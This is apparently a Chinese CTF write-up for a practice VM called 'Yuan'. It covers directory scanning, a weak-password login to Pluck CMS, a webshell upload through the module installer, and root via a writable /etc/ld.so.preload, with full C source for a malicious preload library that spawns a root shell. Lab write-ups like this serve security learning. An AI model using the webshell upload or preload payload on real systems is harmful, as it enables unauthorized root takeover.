Yuan
群友靶机(元旦限定靶机)
2026年第一个靶机从31号打到1号陪我跨年的一个靶机。针对web漏洞利用方面并不难提权也很简单,但是还是对渗透提权不够熟悉还需要多练,希望新的一年在渗透测试方面学习的更深。
信息收集
信息收集先使用fscan扫描发现有两个端口

查看80端口内容

来自元旦的庆祝
接下来扫一下目录

没有扫出来什么东西
换个工具去扫
gobuster dir -u http://192.168.56.112 \ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,htm,txt,js,css,xml,json,md,bak,backup,old,sql,log,zip,tar,gz -t 50 --timeout 20s -o full_scan.txt --no-error

成功获取一个页


点击admin发现是一个登录界面
弱口令登录pluck
漏


进入到管理员界面,利用nday去获取webshell
http://192.168.56.112/pluck/admin.php?action=installmodule
上传压缩包,压缩包中含有一句话木马即可获取webshell
查看/etc/passwd
发现里面的密码就是tommy4


v3fXTfJ06cMMfAKGQwkZ
flag{user-96d6fc824b0ea03a4e3dbd81f9c5cd76}
之后枚举具有写权限的文件发现有两个(一开始以为利用tommy4用户所属的一个python文件进行提权卡了好久发现那是一个诱惑点并不是这道题的提权点)
tommy4@Yuan:~$ find /etc -writable 2>/dev/null
/etc/systemd/system/inspircd.service
/etc/ld.so.preload
重点在于ld.so.preload之中
提权
这是一个经典的提权向量。/etc/ld.so.preload 文件用于指定在程序启动时预加载的共享库,如果我们能控制这个文件,就可以让任何以 root 权限运行的非 SUID 程序加载我们的恶意共享库。
#include <stdio.h>
#include <stdlib.h> // 添加:包含 unsetenv() 和 system()
#include <sys/types.h>
#include <unistd.h>
#include <string.h> // 添加:字符串处理
// 使用 constructor 属性,让函数在 main 之前自动执行
__attribute__ ((__constructor__)) void payload(void) {
// 1. 检查是否已经执行过,防止递归调用
if (getenv("_LD_PRELOAD_EXECUTED") != NULL) {
return;
}
// 2. 设置执行标志(防止无限递归)
setenv("_LD_PRELOAD_EXECUTED", "1", 1);
// 3. 正确移除 LD_PRELOAD 环境变量(去掉花括号)
unsetenv("LD_PRELOAD");
// 4. 尝试提权
if (setuid(0) != 0) {
// 提权失败,安静退出
_exit(1);
}
if (setgid(0) != 0) {
// 提权失败,安静退出
_exit(1);
}
// 5. 执行 shell
system("/bin/bash -p");
// 6. 强制退出,防止返回后继续执行
_exit(0);
}
gcc -fPIC -shared -nostartfiles -o shell.so 2.c
chmod 755 shell.so
echo “/home/tommy4/shell.so” > /etc/ld.so.prel


flag{root-6abd51ee921a5a9db30b78cf17d85dc7}
可以在root目录下发现root密码和flag。